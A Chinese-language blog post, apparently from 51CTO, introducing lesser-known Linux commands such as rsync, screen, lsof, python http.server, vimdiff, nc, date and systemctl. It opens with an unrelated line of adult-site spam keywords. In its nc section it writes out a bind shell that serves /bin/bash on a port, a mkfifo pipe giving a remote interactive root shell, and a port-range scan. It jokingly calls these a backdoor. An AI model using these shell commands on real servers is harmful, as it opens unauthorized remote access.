自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

這些傻白甜的Linux命令,不會有人教你!

系統(tǒng) Linux
Linux上的命令非常多,為了掌握它,很多同學(xué)耗盡了自己的腦細(xì)胞,憔悴了自己的容顏,結(jié)果記憶了一大堆垃圾命令,用過之后就忘了哈哈。xjjdog在以前整理過一批最常用的Linux命令,更編寫了一篇長長的Linux教程文檔。可以說,只要掌握了這些,Linux的命令就可以玩的和轉(zhuǎn)了,就像哪吒的風(fēng)火輪一樣。

Linux上的命令非常多,為了掌握它,很多同學(xué)耗盡了自己的腦細(xì)胞,憔悴了自己的容顏,結(jié)果記憶了一大堆垃圾命令,用過之后就忘了哈哈。

xjjdog在以前整理過一批最常用的Linux命令,更編寫了一篇長長的Linux教程文檔。可以說,只要掌握了這些,Linux的命令就可以玩的和轉(zhuǎn)了,就像哪吒的風(fēng)火輪一樣。

但是本文,我將介紹另外幾個(gè)命令,會讓你的Linux技能更上一層樓。這幾個(gè)命令的應(yīng)用場景,幾乎沒人會教你。

rsync

如果你使用過cp,那一定知道scp。cp的適用范圍是單機(jī),而scp可以實(shí)現(xiàn)跨機(jī)器復(fù)制。比如:

scp -Crvp -l 1024 logs/ root@remoetserver:/opt/logs

其中,-C是壓縮的意思;-r是循環(huán)傳輸整個(gè)目錄;-p表示保留原文件的一些屬性;-l表示限制貸款(kb/s);-v表示顯示詳細(xì)進(jìn)程。

但如果你傳輸?shù)奈募浅5拇?,比如每天上T的日志文件,你不可能每次都把這些文件傳輸一遍,所以增量備份會成為一個(gè)首要的需求;當(dāng)然,如果在拷貝過程中,能夠排除一些文件,那是再好不過了。它們之間還有兩個(gè)小區(qū)別:rsync默認(rèn)是只拷貝有變動的文件,scp是全量拷貝,所以rsync很適合做增量備份。另外,scp是加密傳輸,而rsync不是。

這種場景,rsync就派上用場了。例如:

rsync -prz --exclude 'bin' --bwlimit=1024 logs/ root@remoetserver:/opt/logs

同樣的,-r表示遞歸;-p表示保留屬性;-z表示開啟壓縮;--bwlimit表示帶寬限制;而--exclude就可以指定我們要忽略的文件。如果你想要看拷貝進(jìn)度的話,可以加入--progress參數(shù)。

screen & tmux

如果你費(fèi)了九牛二虎之力登錄了公司的服務(wù)器,結(jié)果發(fā)現(xiàn)只能打開一個(gè)黑漆漆的窗口。如果再開一個(gè)的話,就需要重復(fù)相同的過程。后者合上電腦,ssh就斷開了,是不是感覺很無助?

即使是Ctrl+z和fg配合,也只能讓某一個(gè)命令在后臺運(yùn)行。

screen可以避免這些問題,很多Linux發(fā)行版中都預(yù)裝了。當(dāng)然,tmux是更高級版本,但你可能沒有權(quán)限安裝它。

直接執(zhí)行screen命令,就可以開啟一個(gè)新的screen session。下面演示一個(gè)普通的流程。

# 1 使用screen進(jìn)入命令
screen vim /etc/hosts
# 2 在 screen 終端 下 按下 Ctrl+a d鍵,這將退出編輯窗口
# 3 顯示已創(chuàng)建的screen終端
screen -ls
# 4 連接 screen_id 為 14000 的 screen終端
screen -r 14000

lsof

在linux環(huán)境下,任何事物都以文件的形式存在,通過文件不僅僅可以訪問常規(guī)數(shù)據(jù),還可以訪問網(wǎng)絡(luò)連接和硬件。lsof就是一個(gè)可以查看所有關(guān)聯(lián)文件的命令,非常好用。

默認(rèn)的lsof會列出系統(tǒng)中所有的正在被使用的文件,這通常是巨大的。所以它提供了很多過濾條件。

比如-p 指定進(jìn)程號;-u 指定用戶名;-i 列出所有的網(wǎng)絡(luò)鏈接。

常見的命令如下:

# 1. 列出進(jìn)程123和456所對應(yīng)的文件信息
lsof -p 123,456
# 2. 列出所有的tcp鏈接
lsof -i tcp
# 3. 查看占用了8080端口的進(jìn)程信息
lsof -i :8080

python -m

python是個(gè)好工具,尤其是它內(nèi)置了很多一句話的服務(wù)。

比如,你想要臨時(shí)在服務(wù)器上開啟一個(gè)HTTP服務(wù),但又不想安裝Nginx或者Tomcat這么笨重的東西,那么就可以使用Python臨時(shí)開啟一個(gè)。

python3   -m http.server 9080
Serving HTTP on :: port 9080 (http://[::]:9080/)

這將在啟動命令行的目錄開啟一個(gè)HTTP服務(wù)。

如果你想要格式化一個(gè)json字符串,那么可以使用json.tool。

python -m json.tool

使用它,將非常方便的完成json格式化,再也不用訪問瀏覽器了。

vimdiff

很多人使用vim來編輯文件,但很少人知道vim也可以對比兩個(gè)文件。

相對于diff命令來說,vimdiff獲取的結(jié)果是彩色的。直接編輯兩個(gè)要對比的文件即可。

vim file1 file2

vim會盡力保證兩側(cè)文件的對齊。當(dāng)你滾動一邊數(shù)據(jù)的時(shí)候,將會帶動另外一邊同時(shí)滾動。

  • ]c 下一個(gè)差異點(diǎn)
  • [c 上一個(gè)差異點(diǎn)

nc

netcat?這個(gè)工具,簡稱nc?,是Linux上一個(gè)非常強(qiáng)大的工具(當(dāng)然也有windows版本)。由于它能力實(shí)在太強(qiáng),有些公司甚至對他進(jìn)行了隔離(quarantined)。比如rename?掉,或者給000的權(quán)限。因?yàn)樗苋菀卓梢栽诜?wù)器上開一個(gè)后門(backdoor),并且極其方便。

nc的參數(shù)非常非常多,如果列出來,會讓你失去興趣,白白錯(cuò)過了這么厲害的工具,也錯(cuò)過了進(jìn)局子的機(jī)會。我們還是以案例來說明,這款不到1MB的命令,為什么俘獲了xjjdog的芳心。

下面的命令,將在機(jī)器上開放5879端口。服務(wù)端:

# nc -l -vv -p 5879 -e /bin/bash
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::5879
Ncat: Listening on 0.0.0.0:5879

這個(gè)過程叫做反彈shell,遠(yuǎn)程就可以使用nc命令連接,做一些事情。

客戶端:

# nc -v 192.16.1.54 5879
Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!

在服務(wù)器上,執(zhí)行下面兩個(gè)命令,這就構(gòu)造了一個(gè)循環(huán)。

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | nc -l 5879 > /tmp/f

客戶端nc連接以后,竟然直接出現(xiàn)了命令行操作終端!

$ nc -v 192.16.1.54 5879
Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!
[root@localhost~]#

你可能會說,我客戶端關(guān)掉之后,為什么服務(wù)端的命令也退出了?如果你想要服務(wù)端繼續(xù)監(jiān)聽,可以加上參數(shù)-k。

如果你想要判斷服務(wù)器的tomcat端口是否開啟,不需要登陸到服務(wù)器上,然后再ps?一下看一下進(jìn)程,或者使用netstat -antl看一下監(jiān)聽的端口。

只需要簡單的打上ip和端口,它就能知道結(jié)果。

# nc -vvv baidu.com 443
Connection to baidu.com port 443 [tcp/https] succeeded!

當(dāng)然,它也可以掃描主機(jī)的端口開放情況。不過對程序員來說用的不多。

nc -vzw 2 192.16.1.54 8888-9999

更多的關(guān)于nc的知識,可以參見這篇文章。

nc很強(qiáng)大,容易讓人蹲號子

將Unix時(shí)間戳變可讀

如果你獲取到一個(gè)Linux時(shí)間戳,那么你可能希望知道它到底是什么時(shí)間。

雖然有很多網(wǎng)絡(luò)工具可以幫助你做這些事,但它們太慢了。我們直接使用date命令就可以達(dá)到。

看下面。

date -d @1658054000 +'%Y-%m-%d %H:%M:%S'

你可以創(chuàng)建自己的常用命令把后面的替換了。對于macbook來說,不是d參數(shù),而是r參數(shù),效果是一樣的。

date -r 1658054000
Sun Jul 17 18:33:20 CST 2022

systemctl

關(guān)于systemd,我們在另外一篇文章中說明。這里補(bǔ)充一個(gè)好用的命令,可以看到當(dāng)前服務(wù)器中都有哪些可以執(zhí)行的服務(wù)。

systemctl -l -t service | less

End

圖片

以上就是我稍加補(bǔ)充的幾個(gè)Linux效率工具。從上圖的一個(gè)調(diào)查科可以看出,有太多的人在使用Linux的命令行。MacOS的很多指令已經(jīng)和Linux趨同,所以這個(gè)范圍會更大一些。

掌握一些常用的Linux命令,可以讓你的工作完成的更快更迅速。而那些不常用的命令,只會吞噬你寶貴的時(shí)間。本文告訴你的,都是工作中的經(jīng)驗(yàn)之談,沒有書生氣,也沒有長篇大論的參數(shù)羅列。只談你最常用的,因?yàn)槲叶恪?/p>

作者簡介:小姐姐味道 (xjjdog),一個(gè)不允許程序員走彎路的公眾號。聚焦基礎(chǔ)架構(gòu)和Linux。十年架構(gòu),日百億流量,與你探討高并發(fā)世界,給你不一樣的味道。我的個(gè)人微信xjjdog0,歡迎添加好友,進(jìn)一步交流。

責(zé)任編輯:武曉燕 來源: 小姐姐味道
相關(guān)推薦

2019-03-25 08:47:43

京東騰訊高層

2009-04-17 15:24:20

人生撤銷耍賴

2021-01-06 09:51:19

類加載器雙親委派模型

2023-01-27 23:14:26

Go2兼容性Go1

2023-03-29 18:37:52

2012-07-19 14:53:25

微軟MacOffice 2013

2023-08-29 08:55:45

Go1Go核心

2009-03-18 09:01:06

華碩Windows 7PC銷售

2019-04-01 15:14:58

架構(gòu)技術(shù)棧微信半月刊

2019-04-30 11:40:12

人工智能AI吳軍

2012-01-10 16:33:23

2010-09-16 10:50:46

李開復(fù)

2021-04-11 18:05:17

SSL證書數(shù)據(jù)安全數(shù)據(jù)泄露

2016-12-19 11:39:49

微軟Windows 10

2018-06-05 13:56:05

蘋果WWDCiOS 12

2011-02-13 10:00:57

IE 9 RC

2020-12-10 10:20:32

CentOS 8RHELLinux

2022-08-04 09:40:11

分布式系統(tǒng)

2020-11-22 07:42:35

微信清粉功能移動應(yīng)用

2025-02-05 12:00:00

交換機(jī)鏈路聚合網(wǎng)絡(luò)
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號